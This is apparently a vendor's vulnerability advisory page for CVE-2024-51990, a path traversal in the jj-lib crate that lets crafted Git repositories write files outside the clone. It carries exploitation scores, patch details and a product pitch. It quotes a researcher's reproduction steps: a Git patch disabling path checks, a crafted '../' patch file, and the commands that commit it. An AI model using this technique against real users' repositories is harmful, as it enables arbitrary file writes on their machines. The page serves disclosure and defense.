Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🦀 crates.io
Not in CISA KEV

CVE-2024-51990 jj-lib

CVE-2024-51990 is a Path Traversal vulnerability in jj-lib. A fix is available for jj-lib — see the affected versions and patch details below.

Path traversal via crafted Git repositories in jj

Also known asGHSA-88h5-6w7m-5w56
Published
Nov 7, 2024
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-51990.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs48th percentile — riskier than 48% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🦀jj-lib

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.

Description

Impact

Specially crafted Git repositories can cause jj to write files outside the clone.

Patches

Fixed in 0.23.0.

Workarounds

Not much other than to not clone repositories from untrusted sources.

References

Here's the original report from @joernchen:

When cloning a crafted Git repository it is possible to let jj write into arbitrary directories. This can be achieved by having file objects which contain path traversals.

Reproduction steps:

Apply the following patch to Git version v.2.47.0:

diff --git a/path.c b/path.c
index 93491bab14..2f47e69fd1 100644
--- a/path.c
+++ b/path.c
@@ -44,11 +44,11 @@ struct strbuf *get_pathname(void)

 static const char *cleanup_path(const char *path)
 {
-       /* Clean it up */
+       /* Clean it up
        if (skip_prefix(path, "./", &path)) {
                while (*path == '/')
                        path++;
-       }
+       }*/
        return path;
 }

@@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len)

 int normalize_path_copy(char *dst, const char *src)
 {
-       return normalize_path_copy_len(dst, src, NULL);
+//     return normalize_path_copy_len(dst, src, NULL);
+       memcpy(dst, src, strlen(dst));
+       return 0;
 }

 int strbuf_normalize_path(struct strbuf *src)
diff --git a/read-cache.c b/read-cache.c
index 3c078afadb..2eb44cb26f 100644
--- a/read-cache.c
+++ b/read-cache.c
@@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path,
                                                    unsigned mode)
 {
        char c = 0;
+       return PATH_OK;

        if (has_dos_drive_prefix(path))
                return PATH_INVALID;

With this patched git binary we can now apply a crafted patch containing a path traversal to a repository.

The patch would look like:

From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001
From: joernchen <[[email protected]](mailto:[email protected])>
Date: Sun, 13 Oct 2024 18:09:50 +0200
Subject: [PATCH] z123

---
 z | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 z

diff --git a/../joernchen_was_here b/../joernchen_was_here
new file mode 100644
index 0000000..e69de29
--
2.46.1

Note the traversal ../joernchen_was_here in the patch. This now can be committed to a repository using the modified git binary:

mkdir demo
cd demo
git init
./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch
rm ../joernchen_was_here # remove the file the modified git wrote

Now, when cloning that repository with jj git clone the path traversal will write above the worktree directory, allowing arbitrary file writes.

I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For reproduction it should be sufficient to do jj git clone demo.git after unpacking the tarball.

The demo repository after being cloned with jj will create an empty file joernchen_was_here right next to the demo directory to demonstrate the traversal.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🦀crates.iojj-liball versions0.23.0cargo update -p jj-lib --precise 0.23.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for jj-lib, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update jj-lib to 0.23.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-51990 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-51990 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2024-51990. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact Specially crafted Git repositories can cause `jj` to write files outside the clone. ### Patches Fixed in 0.23.0. ### Workarounds Not much other than to not clone repositories from untrusted sources. ### References Here's the original report from @joernchen: > When cloning a crafted Git repository it is possible to let `jj` write > into arbitrary directories. This can be achieved by having file objects > which contain path traversals. > > Reproduction steps: > > Apply the following patch to Git version v.2.47.0: > > ```diff > diff --git a/path.c b/path.c > index 93491bab14
O3 Security · Impact-Aware SCA

Is CVE-2024-51990 in your dependencies?

O3 Security finds CVE-2024-51990 across crates.io dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2024-51990: jj-lib Path Traversal | O3 Security